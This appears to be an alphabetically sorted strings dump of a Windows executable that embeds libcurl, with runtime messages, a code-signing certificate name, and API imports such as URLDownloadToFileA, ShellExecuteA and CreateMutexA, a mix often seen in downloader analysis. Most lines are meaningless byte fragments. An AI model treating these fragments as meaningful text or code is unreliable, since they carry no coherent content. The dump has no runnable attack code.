tGHt.Ht&
t~h@6@
t h@6@
the ioctl callback returned %d
The requested document is not new enough
The requested document is not old enough
The requested URL returned error: %d
The requested URL returned error: %s
+t HHt
This application has requested the Runtime to terminate it in an unusual way.
__thiscall
# This file was generated by libcurl! Edit at your own risk.
This indicates a bug in your application.
This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
!This program cannot be run in DOS mode.
T$HRPh
T$HUQR
Thursday
Timed out
T$ j<RP
TLOSS error
T$LRUW
TlsAlloc
TlsFree
TlsGetValue
TlsSetValue
<\tM</tI
Too long SOCKS proxy name, can't use!
too many length or distance symbols
Too many links
Too many open files
Too many open files in system
Too many references
Too many users
  %% Total    %% Received %% Xferd  Average Speed   Time    Time     Time  Current
T$pj!R
T$ PQh
T$$QUR
tR99u2
transfer closed with %lld bytes remaining to read
transfer closed with outstanding read data remaining
Transfer-Encoding:
Transfer-Encoding: chunked
T$<Rh\
T$@RhD
T$<RhT
T$,RPU
T$`RQh0
T$$RSP
T$,RUh
T$@RUQS
  </trustInfo>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
T$$RWU
  Trying %s...
;T$ s 
tS9D$,t
t"SS9]
t/SSPW
t+SSPW
<+t(<-t$:
T$TQRPh
t$T;t$4
Tuesday
TUNNEL_STATE switched to: %d
;t$,v-
T$ WQR
t,WRSj
t+WWVPV
tY9\$8tS;
;type=
;type=%c
 Type Descriptor'
`typeof'
u69l$$u
>:u8FV
u=9HXu8
u	9t$0
u%9;uL
ua9l$$u[9l$
ub9u$t!
uC9|$dr
`udt returning'
uGetDriveTypeA
ugethostbyname
uGVj j
u,h0A@
uH9_0uC
uinet_ntoa
uL9=PND
ulstrcmpA
- unable to initialize heap
- unable to open console device
Unable to receive initial SOCKS5 response.
Unable to receive SOCKS5 sub-negotiation response.
Unable to send initial SOCKS5 request.
__unaligned
Undocumented SOCKS5 mode attempted to be used by server.
- unexpected heap error
- unexpected multithread lock error
UnhandledExceptionFilter
UNICODE
unknown
unknown compression method
Unknown error
Unknown error %d (%#x)
Unknown exception
unknown header flags set
Unrecoverable error in call to nameserver
upload completely sent off: %lld out of %lld bytes
UPRVQh
<U=\=q=
uq9}tul
UQPXY]Y[
ur9;u	9{
URLDownloadToFileA
<url> malformed
Urlmon
URPQQh
URQVPh 
user32
USER32.DLL
User-Agent:
User-Agent: %s
User was rejected by the SOCKS5 server (%d %d).
u[SSSP
UTF-16LE
	UUUUUU
UUUUUUUUU
UU U!"UU#$UUUU%&'UUU(U)*U+UUU,-.UU/0123UUUUUU4UUUUUUU5UUUUUU6789:;UUUUUUUU<UUU=>?@ABCDUUUUEUUUUFUUUUUUGUUHIUUUUUJKUUULLUUMUUUUUUUUUNUUOUPQRSUUT
\$$UW3
uWs2_32
uWSAStartup
V4PVRh
V8CSWR
V8GWSR
v$9.uWU
`vbase destructor'
`vbtable'
`vcall'
vCloseHandle
vCreateFileA
vCreateFileMappingA
vCreateMutexA
vCreateThread
`vector constructor iterator'
`vector copy constructor iterator'
`vector deleting destructor'
`vector destructor iterator'
`vector vbase constructor iterator'
`vector vbase copy constructor iterator'
%VeriSign Class 3 Code Signing 2010 CA
VeriSign, Inc.1
VeriSign Trust Network1;09
version
vFindClose
vFindFirstFileA
vFindNextFileA
`vftable'
vGetFileSize
vGetLastError
vGetLocalTime
vGetLogicalDriveStringsA
vGetTempPathA
vGlobalAlloc
vGlobalFree
Vhj	Rh@
Violate RFC 2616/10.3.2 and switch from POST to GET
Violate RFC 2616/10.3.3 and switch from POST to GET
VirtualAlloc
`virtual displacement map'
VirtualFree
Visual C++ CRT: Not enough memory to complete call to strerror.
vlstrcatA
vlstrcpyA
vlstrlenA
vMapViewOfFile
v	N+D$
vRtlMoveMemory
vSetEndOfFile
vSetFilePointer
vSleep
V`SWRj
vUnmapViewOfFile
_VVVVV
VVVVVQRSSj
VWPQh(
VWQRSUh
vWriteFile
V_:X1:
WaitForSingleObject
>W>a>r>
WARNING: failed to save cookies in %s
We are completely uploaded and fine
we are done reading and this is set to close, stop send
We can reuse, but we want a new connection anyway
Wednesday
WideCharToMultiByte
WINDOW
Winsock library is not ready
Winsock library not initialised
Winsock version not supported
Wlf+Wd
Wlf+Wp
w+OQvr
WriteConsoleA
WriteConsoleW
WriteFile
WS2_32.dll
WSAIoctl
|$ WSPV
w;vShellExecuteA
WWW-Authenticate:
^WWWWW
x-compress
x-gzip
=+=X=l=
xppwpp
xpxxxx
<xtX<XtT
,_^][Y
>=Yt1j
%zd bytes of chunk left
)\ZEo^m/